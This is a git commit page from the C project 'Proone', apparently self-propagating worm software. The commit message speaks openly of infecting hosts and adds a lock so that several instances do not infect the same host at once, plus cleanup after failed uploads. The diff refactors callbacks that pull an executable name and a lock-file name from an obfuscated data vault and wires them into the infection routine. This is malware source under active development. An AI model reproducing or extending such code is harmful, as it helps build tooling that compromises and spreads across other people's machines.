diff options
author | David Timber <mieabby@gmail.com> | 2021-08-13 18:22:35 +1000 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2021-08-13 21:50:26 +1000 |
commit | 73799fe772152089a6c57aa339f08426cf3eaf11 (patch) | |
tree | 6f7c7d2b6266c84ef49499791f252bea2feccd81 /src/proone.c | |
parent | a685a85d71e4948c61e811ca24c7b85d601bfcba (diff) |
Impl bne ...
* Add upload lock mechanism to prevent multiple instances trying to
infect the same host simultaneously
* Add "upload guard". The upload guard cleans up the lock file and the
upload directory in the event of upload failure
* Fix bug in bne_vssh_flush_f()
* prne_strzero() accepts NULL
* Fix Proone: missing prne_dvault_reset() calls
Diffstat (limited to 'src/proone.c')
-rw-r--r-- | src/proone.c | 20 |
1 files changed, 11 insertions, 9 deletions
diff --git a/src/proone.c b/src/proone.c index 17d88a5..6b3905d 100644 --- a/src/proone.c +++ b/src/proone.c @@ -458,6 +458,7 @@ static void alloc_recon (void) { } END: // CATCH + prne_dvault_reset(); prne_free_recon_param(¶m); } @@ -1341,16 +1342,16 @@ END: } static char *bne_cb_exec_name (void *ctx) { - size_t dvl; - const char *dv_str; - char *ret; - - dv_str = prne_dvault_get_cstr(PRNE_DATA_KEY_EXEC_NAME, &dvl); - ret = prne_alloc_str(dvl); - if (ret != NULL) { - memcpy(ret, dv_str, dvl + 1); - } + char *ret = prne_dup_str( + prne_dvault_get_cstr(PRNE_DATA_KEY_EXEC_NAME, NULL)); + prne_dvault_reset(); + return ret; +} +static char *bne_cb_lock_name (void *ctx) { + char *ret = prne_dup_str( + prne_dvault_get_cstr(PRNE_DATA_KEY_BNE_LOCK_NAME, NULL)); + prne_dvault_reset(); return ret; } @@ -1387,6 +1388,7 @@ static void init_bne (void) { bne_param.cb.vercmp = bne_cb_vercmp; bne_param.cb.tmpfile = cb_tmpfile; bne_param.cb.upbin = cb_upbin; + bne_param.cb.bne_lock_name = bne_cb_lock_name; if (prne_g.has_ba) { bne_param.rcb = &prne_g.rcb_param; |